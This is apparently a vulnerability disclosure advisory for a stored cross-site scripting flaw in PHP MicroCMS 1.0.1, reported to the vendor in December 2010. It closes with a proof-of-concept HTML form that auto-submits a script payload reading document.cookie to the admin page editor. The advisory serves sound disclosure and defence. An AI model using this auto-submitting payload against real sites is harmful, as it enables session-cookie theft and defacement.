XSS vulnerability in PHP MicroCMS

[advisory () htbridge ch]

Vulnerability ID: HTB22764
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_php_microcms.html
Product: PHP MicroCMS
Vendor: ApPHP ( http://www.apphp.com/ ) 
Vulnerable Version: 1.0.1 and probably prior versions
Vendor Notification: 21 December 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "index.php?admin=static_pages_edit&pk=home" script to properly sanitize 
user-supplied input in "page_text" variable. Successful exploitation of this vulnerability could result in a compromise 
of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php?admin=static_pages_edit&pk=home"; method="post" name="main">
<input type="hidden" name="pk" value="home">
<input type="hidden" name="page_title" value="Welcome to PHP MicroCMS">
<input type="hidden" name="page_text" value="text<script>alert(document.cookie)</script>">
<input type="hidden" name="subSavePage" value="Save Changes">
</form>
<script>
document.main.submit();
</script>